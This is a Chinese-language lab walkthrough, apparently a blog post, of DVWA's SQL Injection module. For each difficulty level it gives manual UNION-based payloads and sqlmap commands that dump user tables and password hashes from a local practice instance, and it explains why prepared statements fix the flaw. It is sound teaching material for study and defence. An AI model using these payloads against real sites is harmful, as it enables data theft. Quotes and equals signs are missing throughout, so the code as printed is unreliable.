
聊起Web安全入门靶场DVWA说第二估计没人敢说第一。这个全称Damn Vulnerable Web Application的靶场把SQL注入、XSS、命令执行、文件上传这些Web安全经典漏洞全都塞进了一个简洁的PHP应用里关键是它每个漏洞都分Low、Medium、High、Impossible四个等级既有可以上手攻击的漏洞环境也有已经修好的参考代码练手、学原理、理解防御方案一步到位。今天这篇就专门拆解DVWA的SQL Injection模块从环境搭建讲起把四个级别逐个过一遍手工注入的每一步操作和原理都摊开来说清楚。这篇内容适合三类人看刚入门Web安全、想刷靶场练手的同学准备参加攻防演练、渗透测试相关岗位面试的求职者还有后端开发朋友——如果你写代码时对SQL语句拼接还没有建立条件反射般的警惕看完Impossible级别的源码应该就明白了。我会先花一小节讲靶场怎么搭再复习一遍SQL注入的核心判断方法然后按照Low、Medium、High、Impossible四个级别逐个拆解。全程尽量不依赖自动化工具因为手工打一遍比跑十次sqlmap都管用。1. DVWA靶场搭建与环境准备1.1 为什么选DVWA练手现在市面上Web漏洞靶场其实非常多比如Pikachu、bWAPP、WebGoat、Sqli-labs。但我个人最推荐初学者从DVWA开始理由其实很朴素它自带漏洞源码而且漏洞环境有难度分级。自带漏洞源码这一点特别重要。大部分靶场只能让你“打进去拿flag”但打完之后可能还是没搞懂为什么能打进去。DVWA每个漏洞模块页面底部都有“View Source”按钮点开就能看到后端PHP代码。你可以一边跑注入语句一边对照源码理解哪些代码写法有问题哪些输入被过滤了为什么能绕过。这种“攻击视角代码视角”双开的练习方式很容易建立真实的漏洞思维。难度分级就更实用了。同一个SQL注入漏洞Low级别是裸奔版Medium加了转义High加了限制条件Impossible直接上了预编译。四个级别一组正好对应了一个漏洞从出现到逐步修复的完整过程。把这四个级别都打一遍你对SQL注入的理解会非常立体。1.2 三种搭建方案对比DVWA的搭建方式有好几种我按实际使用体验给它们排个序。方案操作难度环境依赖适合场景Docker部署低安装Docker即可追求快速启动不想污染本机环境XAMPP手动部署中PHP MySQL Apache想改源码、想手动调试环境在线靶场最低仅浏览器只是纯体验一下漏洞效果Docker方案是我现在最常用的。如果你机器上已经装了Docker整个部署过程就是一条命令docker run -d -p 80:80 vulnerables/web-dvwa启动之后浏览器访问http://localhost/login.php默认账号是admin密码是password。首次登录进去会提示初始化数据库点击“Create / Reset Database”就能一键建好表结构。这个镜像我实测下来在Windows、Mac、Linux上都跑得动唯一的问题是镜像里的PHP版本比较老个别Linux发行版上可能要关掉SELinux或者调整端口映射但大多数情况下是开箱即用的。XAMPP方案更适合想自己动手折腾的同学。下载XAMPP启动Apache和MySQL把DVWA源码解压到htdocs目录下然后修改config/config.inc.php里的数据库连接信息$_DVWA[ db_user ] root; $_DVWA[ db_password ] ; $_DVWA[ db_database ] dvwa;接着访问http://localhost/dvwa/setup.php点一下初始化完成后通过http://localhost/dvwa/login.php登录。这种方式的优点是可以随时改源码配合Xdebug做代码审计练习但环境配置坑比较多PHP版本、MySQL密码、目录权限都可能出问题。在线靶场就没什么好说的了打开浏览器点两下就能用适合完全零基础的同学先感受一下。缺点是没有源码参考而且必须要联网。我建议但凡有条件还是本地搭一套练习体验完全不一样。1.3 搭建过程中的常见坑我在帮不少人排查过DVWA搭建问题大部分情况都集中在下面这几个点PHP版本过高。DVWA的老版本用了很多PHP 5时代的写法在PHP 8.x环境下会直接报一堆warning甚至fatal error。解决办法是本地换成PHP 7.x或者说用Docker镜像因为镜像里的PHP版本是打包好的不会有这个问题。MySQL密码不一致。XAMPP默认MySQL的root密码是空如果你手动改过密码必须在config/config.inc.php里同步修改否则初始化数据库时一直提示连接失败。登录后无限跳转。这个八成是Session或者Cookie的问题清一下浏览器缓存重新登录就好。页面内容乱码。DVWA早期的版本对中文支持不太好需要自己把页面编码调整为UTF-8或者在浏览器里手动选择编码。如果按照上面的步骤还是搭不起来优先看Apache错误日志和PHP错误日志八九不离十能定位到问题。2. SQL注入原理与前置知识2.1 注入的本质是一次“拼接事故”SQL注入听起来很玄乎但它的本质其实就是一句话开发者把用户输入直接拼接进了SQL语句导致用户输入里的内容被当成了SQL代码执行。我随手写一个最典型的错误示例$id $_REQUEST[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;;正常用户访问时比如id1最终执行的SQL语句是SELECT first_name, last_name FROM users WHERE user_id 1;但如果你传入的是1 AND 11拼接后就变成了SELECT first_name, last_name FROM users WHERE user_id 1 AND 11;因为11恒为真这个查询就把所有用户的数据都返回了。注意这里真正的问题是开发者把用户的输入当作SQL语法的一部分来对待而不是把它视为一个“数据值”。在SQL的世界里数据和代码之间没有天然边界一旦输入越过了边界攻击者就获得了“以你数据库的身份执行任意SQL”的能力。2.2 判断一个参数是否存在注入三板斧在DVWA的SQL Injection模块里我们要操作的是一个按用户ID查询姓名的功能。页面上有一个输入框输入1会显示用户1的名字输入2显示用户2的名字看起来人畜无害。但判断它是否存在SQL注入其实只需要三个步骤。第一步输入单引号1。如果页面报错说明单引号被直接拼进了SQL语句导致语句语法错误。这是最直观的信号开发者对输入没有做任何处理。第二步输入1 AND 11和1 AND 12观察页面回显差异。如果前者正常显示后者显示异常或者空白说明我们插入的逻辑判断确实参与了SQL语句执行。这叫做“逻辑判断法”也是手工注入最核心的判断手段。第三步尝试注释符和或运算。输入1 OR 11如果页面返回了不止一条记录说明我们不仅能影响查询结果还能让WHERE条件完全失效。在实际渗透测试中这三板斧基本够用。凡是能根据输入改变SQL语句语义的参数都有进一步利用的价值。2.3 information_schema数据库的“户口本”判断出注入点只是第一步真正危险的地方在于如果注入点能执行联合查询攻击者就可以把整个数据库的所有表结构、表数据全部拖出来。这里的核心桥梁就是MySQL自带的information_schema库。你可以把information_schema理解为MySQL的“户口本”它记录了当前MySQL实例里所有数据库的信息包括有哪些库、每个库有哪些表、每个表有哪些列、字段是什么类型。在MySQL里执行select database()能拿到当前使用的库名执行select version()能拿到数据库版本号。而要从库里翻出全部内容就需要查information_schema。普通开发者在业务中几乎不会用到这个库所以很多SQL注入演练题里攻击者需要靠它来定位目标数据。比如我们要查“当前数据库里所有表”用的语句是SELECT table_name FROM information_schema.tables WHERE table_schemadatabase();为什么要限定table_schemadatabase()因为不限定的话会把整个MySQL实例里所有库的表都查出来信息量太大也不利于快速定位业务表。限定之后的结果通常就是我们想要的业务表比如DVWA里的users表。拿到表名之后再通过information_schema.columns查这张表有哪些列SELECT column_name FROM information_schema.columns WHERE table_nameusers;查到列名之后就可以回去直接执行SELECT user, password FROM users拿数据了。这一串操作几乎每个SQL注入案例里都会用到。3. Low级别最原始的注入现场3.1 源码长什么样先看Low级别的源码这也是整个DVWA里最“诚实”的一段代码?php if( isset( $_REQUEST[ Submit ] ) ) { $id $_REQUEST[ id ]; $query SELECT first_name, last_name FROM users WHERE user_id $id;; $result mysqli_query($GLOBALS[___mysqli_ston], $query ) or die( pre.mysqli_error($GLOBALS[___mysqli_ston])./pre ); // ... } ?这段代码的问题明显到不需要解释接收用户输入直接拼进SQL字符串然后交给数据库执行。没有过滤、没有转义、没有参数校验连基本的错误处理都没有——数据库报错信息会直接回显给用户。这意味着攻击者不仅能注入还能通过报错信息拿到SQL语句的上下文。3.2 手工注入完整流程打开DVWA把Security Level切到Low进入SQL Injection模块开始一步步打。第一步确认注入点。输入1页面直接报错。这个报错就是“欢迎使用SQL注入”的冲锋号。接着输入1 AND 11正常显示用户1的信息输入1 AND 12页面无结果。到这里注入点100%确认。第二步猜测列数。联合查询要求前后两个SELECT语句的列数一致所以要先知道原查询到底查了几列。用ORDER BY来试探1 ORDER BY 1# 1 ORDER BY 2# 1 ORDER BY 3#当输入1 ORDER BY 2#时页面显示正常输入1 ORDER BY 3#时页面报错或空白。说明原查询只有2列。这里我用#作为注释符目的是把后面可能有的SQL语句部分注释掉防止语法错误。第三步找显示位。输入1 UNION SELECT 1, 2#页面会把联合查询的第二部分结果也显示出来如果页面上出现了数字2说明第二个字段是回显位。一般第一个字段显示姓第二个字段显示名两个都可以用来输出数据。第四步爆出当前数据库名。在显示位里放database()1 UNION SELECT 1, database()#页面显示dvwa说明当前数据库名就叫dvwa。第五步爆表名。查当前库里所有表1 UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schemadatabase()#页面会列出一堆表重点关注users表这一看就是用户表。第六步爆列名。查users表里的字段1 UNION SELECT 1, column_name FROM information_schema.columns WHERE table_nameusers#返回结果里能看到user、password两个关键字段名。第七步拿数据。直接查用户名和密码哈希1 UNION SELECT user, password FROM users#页面把所有用户名和MD5加密的密码哈希都返回出来了。密码哈希虽然不能直接登录但可以通过彩虹表或在线MD5解密还原出明文。提示在URL里输入#时浏览器会把#当成锚点不发送给服务器所以提交时要用%23代替或者在Burp Suite的Repeat功能里改包发送。3.3 Low级别的几个实操细节Low级别看起来简单但实操中我第一次还是卡了几分钟。有个细节是在输入框里直接提交时DVWA用的请求参数是id和Submit页面是GET方式提交。如果拿Burp Suite抓包能看到请求长这样GET /dvwa/vulnerabilities/sqli/?id1SubmitSubmit HTTP/1.1 Host: 127.0.0.1 Cookie: PHPSESSIDxxxxx; securitylow其中securitylow是保存安全等级的Cookie后面用sqlmap自动化时需要带着它。另一个细节是用ORDER BY猜列数的时候如果列数超出实际值页面报错可能比较隐蔽有时候是整个页面空白。不用慌这是正常的返回上一页换另一个数字继续试就行。Low级别也给我们一个警示那些“看起来只是按ID查个名字”的小功能如果没有过滤往往就是整个系统最致命的突破口。很多真实系统里的高危漏洞恰恰就藏在这种不起眼的功能里。4. Medium级别绕过转义4.1 源码里加了什么把安全等级切到Medium再次查看源码?php if( isset( $_POST[ Submit ] ) ) { $id mysqli_real_escape_string($GLOBALS[___mysqli_ston], $_POST[ id ]); $query SELECT first_name, last_name FROM users WHERE user_id $id;; // ... } ?相比Low级别Medium级别做了两处变化请求方式从GET变成了POST对$id调用了mysqli_real_escape_string()做转义mysqli_real_escape_string()会把输入中的单引号、双引号、反斜杠等特殊字符进行转义。比如输入1 OR 11经过转义后会变成1\ OR \1\\1。在SQL语句里被转义掉的字符只代表字面意义上的字符不再具备闭合引号的功能所以传统的字符型注入在这关基本失灵。4.2 为什么转义函数还是防不住问题出在SQL语句的写法上SELECT first_name, last_name FROM users WHERE user_id $id;注意$id没有加单引号包裹。这意味着这个参数是“数字型”参数拼接之后参与SQL运算时它就是一个数字或者一串直接跟在等号后面的表达式。所以我们根本不需要单引号只需要用数字和运算符就行。mysqli_real_escape_string()只针对引号和特殊字符做转义但对于纯数字和运算符它完全不会处理——因为这些东西本身就“无害”啊。于是注入语句可以从传统的1 OR 11简化成1 OR 11这样就绕过了转义限制。这个绕过思路在真实渗透测试里非常常见函数的开发者只考虑了“字符型参数怎么堵”却没发现参数根本不需要引号就能注入。4.3 实战绕过过程Medium级别页面改成了POST提交所以直接在输入框里操作就行不需要手动拼URL。先验证注入点是否存在。输入1 AND 11页面显示用户1的信息。再输入1 AND 12页面返回空。这说明SQL语句执行时我们插入的AND 12参与了判断。然后是联合查询的流程和Low级别高度相似只是不再需要单引号闭合1 UNION SELECT 1, 2页面显示数字2说明联合查询成功显示位还在。之后就是常规操作1 UNION SELECT 1, database() 1 UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schemadatabase() 1 UNION SELECT 1, column_name FROM information_schema.columns WHERE table_nameusers 1 UNION SELECT user, password FROM users只不过这里的WHERE table_nameusers里又用到了单引号。有意思的是这一处单引号是出现在我们构造的SQL子句里而不是需要闭合原查询的引号所以转义函数管不到它——输入框里照样可以带单引号因为最终这个合法的字符串字面量会作为SQL的一部分执行。我当年在这里卡了好一会儿总觉得既然用了转义单引号就不能用了。后来才发现转义函数针对的是整个输入字符串它会把单引号变成\但如果我们的\最终在一个原本就没有引号的上下文里它反而变成了合法的SQL字符串写法。这个点理解清楚之后很多中等级别的注入题都能秒解。4.4 Medium级别的启示Medium级别最值得学习的地方不是“怎么绕过”而是它教会了我们一个安全编码常识转义函数只能作为辅助手段不能作为唯一防线。严格的数据类型校验比如强制ID只能是整数才是更可靠的方案。假如开发者把代码写成$id (int)$_POST[id]那后面的所有联合查询注入都会失效。5. High级别LIMIT 真的能拦住注入吗5.1 源码看起来挺安全继续提升难度切到High级别。源码如下?php if( isset( $_SESSION [ id ] ) ) { $id $_SESSION[ id ]; $query SELECT first_name, last_name FROM users WHERE user_id $id LIMIT 1;; // ... } ?这关和前面几级有点不同id参数在页面里是通过点击“Get ID”按钮传送的真正请求时用到了Session。而且SQL语句比之前多了个LIMIT 1并且重新回到了字符型注入单引号包裹的写法。一眼看去High级别似乎比Medium要“硬核”一些有单引号包裹有转义虽然这里没专门转义还限制了只返回一条记录。很多同学看到LIMIT 1会觉得即使能注入也只能返回第一行数据影响范围被限制了。5.2 注释符的强大之处但LIMIT 1真的能拦住注入吗不能因为SQL语句里存在注释符。攻击者只需要把LIMIT 1注释掉这个限制就成了摆设。比如输入1 UNION SELECT user, password FROM users#拼接后的完整SQL是SELECT first_name, last_name FROM users WHERE user_id 1 UNION SELECT user, password FROM users# LIMIT 1;#号把后面的LIMIT 1;全部注释掉了所以查询结果不只一条而是全部用户数据。这就好像你给保险箱加了一把锁但攻击者直接拆掉了一面墙——锁再结实也没用。MySQL的注释符除了#还有--注意后面必须有一个空格和/* */。在DVWA里最常用的就是#简单粗暴。5.3 High级别完整注入步骤High级别的页面是下拉框或者按钮形式我习惯在Burp Suite里直接改参数测试。先用1测试报错确认注入存在。然后构造1 UNION SELECT 1, 2#页面出现2说明显示位正常同时说明我们的注释符成功把LIMIT 1吃掉了。后面的流程和Low级别几乎一模一样只是每一步都要带着#1 UNION SELECT 1, database()# 1 UNION SELECT 1, table_name FROM information_schema.tables WHERE table_schemadatabase()# 1 UNION SELECT 1, column_name FROM information_schema.columns WHERE table_nameusers# 1 UNION SELECT user, password FROM users#把最后一条输入进去所有用户的user和password字段直接暴露。注意在URL中传参时要写成%23来代替#。否则请求到浏览器时#后面的内容会被当anchor服务器根本收不到。5.4 High级别最容易被忽视的风险High级别在源码层面做了三层“防御”单引号闭合、LIMIT限制、Session传参。但实际效果呢单引号可以用闭合绕过LIMIT可以用注释符绕过Session只是改了传参方式并没有增加安全强度。所以安全设计必须考虑“纵深防御”而不是把安全寄希望于某一个小技巧上。这关也再次说明了注释符在SQL注入中的价值。判断一个注入点能否利用关键之一就是看能否使用注释符截断后面的SQL片段。如果某些情况下注释符被过滤注入难度会直线上升。6. Impossible级别这才是防御的正确姿势6.1 源码PDO预编译最后来看Impossible级别的源码?php if( isset( $_GET[ Submit ] ) ) { $id $_GET[ id ]; if( is_numeric( $id ) ) { $data $db-prepare( SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1; ); $data-bindParam( :id, $id, PDO::PARAM_INT ); $data-execute(); $row $data-fetch(); // ... } } ?这段代码有几个关键点先检查is_numeric($id)确保参数必须是数字用PDO的prepare()预编译SQL语句用bindParam()绑定参数执行查询时参数是作为数据值传给数据库引擎而不是拼接进SQL字符串这里最核心的是PDO预处理机制。SQL语句的结构在prepare()阶段就被数据库解析好了后面execute()时传入的$id只会被当成一个值不会改变SQL语句的语法结构。也就是说即使用户输入1 UNION SELECT user, password FROM users#它也只是被当作一个字符串值传给字段user_id数据库会拿这个字符串去匹配而不会执行任何注入部分。6.2 为什么预编译能彻底解决注入打个比方直接把用户输入拼进SQL相当于把用户的话原封不动传给会议主持人主持人会照着念出来念到哪算哪用户说“我要唱歌”主持人就真的开始唱。而预编译机制相当于主持人手里拿了一张写死流程的提词卡用户输入的内容只是提词卡里某个空格的填充字不管用户填什么都只能显示成字面内容无法改变整个流程。参数化查询能让“SQL语句结构”和“参数数据”彻底分离这是从设计层面根治SQL注入的手段不是靠某个过滤函数。这也是为什么OWASP始终把参数化查询列在SQL注入防御方案的第一位。与之相比任何黑名单过滤、关键字替换、转义函数都只能算“打补丁”总有被绕过的可能。6.3 四个级别的演化过程把DVWA的SQL Injection四个级别连起来看其实就是一份浓缩的Web安全编码演进史Low完全不设防输入即代码Medium用转义函数但没有意识到数字型参数不需要引号等于补了个漏风的口子High限制了返回行数没考虑注释符防御停留在“挡住一部分人”的水平Impossible用预编译参数类型校验从根上把数据和代码分开这才是“彻底修好”的样子把四个级别分段打通之后你对SQL注入的理解会从“我会执行几个payload”上升到“我知道程序员怎么写会出问题也知道怎么改才安全”。这种理解层次是刷100道CTF题都很难获得的。7. 实战中的常见问题与排查技巧7.1 环境搭建问题速查表现象可能原因解决方法登录后提示连接数据库失败MySQL服务未启动或config.inc.php中密码不对检查config配置文件确认MySQL状态访问setup.php页面空白或报错PHP版本过高老代码不兼容切换PHP 7.x/5.6或改用Docker容器点击Create/Reset Database没反应数据库表结构已存在或数据库连接异常重新登录或先手动删掉dvwa库再重建页面中文乱码编码设置不统一浏览器手动切到UTF-8或修复页面meta声明其他机器访问不到DVWAApache只监听localhost检查Apache的httpd.conf监听配置和防火墙7.2 注入过程中的问题排查入门阶段最容易遇到这么几个问题输入1没报错也没有正常回显。这种情况要么是输入根本没进入SQL语句要么是被某种过滤静默处理了。先确认请求参数名是否正确再看源码里有没有过滤函数。ORDER BY试探出行数UNION SELECT却提示列数不匹配。常见原因是你写的显示位数量不对。比如原查询是2列你却写UNION SELECT 1,2,3列数不一致就会报错。记住规则UNION的列数必须和原查询列数完全一致。页面能用#注释符但URL里失效。这就是我前面提到的锚点问题。要么用%23代替要么用Burp Suite直接改包发送。拿到密码哈希但解不出来。DVWA里的密码是MD5加密有些弱口令很容易在在线破解平台解出来但如果是强密码就解不动。这是正常的渗透测试里也不是所有密码都能还原有时只是证明“字段已泄露”就够了。联合查询出现两次相同的记录。这通常是因为原查询本身返回了记录UNION的结果又追加在后面页面显示了两行。解决办法是在原查询处构造一个不存在的条件比如-1 UNION SELECT user,password FROM users#把第一段查询结果置空页面就只显示你想看的数据。7.3 工具链Burp Suite与sqlmap虽然我一直强调手工注入更重要但在实际渗透测试中完全靠手敲效率太低工具该上还是要上。Burp Suite和sqlmap是两件套搭档。Burp Suite主要用于抓包、改包、重放。抓包后能看到DVWA页面发送的原始请求包括Cookie里的security字段。改包时可以直接修改id参数的值不受浏览器输入框和URL编码的限制测试起来更方便。比如High级别需要传Session参数用Burp Suite可以很清晰地看到SESSION里带着id比直接看页面直观得多。sqlmap自动化注入的命令也简单但需要带上能证明登录状态的Cookiesqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDXXXXX; securitylow --dbs如果只想快速验证注入点加--batch参数sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSIDXXXXX; securitylow --batchsqlmap会自动判断注入类型、获取库名表名列名数据甚至能直接尝试读文件、写WebShell。但我建议最好是在手工注入打通一条完整流程之后再让sqlmap来做速度补充这样出问题时你知道它在干什么不会两眼一抹黑。最后分享一个我个人的练手习惯每次打完一个靶场模块我会把四个级别的源码依次截图放进笔记里在旁边写下“这个防护为什么能被绕过”或者“这个修复方案为什么有效”。时间久了这些笔记就是一份特别宝贵的安全编码素材库。DVWA的好处就是它把所有答案都摆在你面前只要肯花时间SQL注入这个坑你一定能彻底趟平。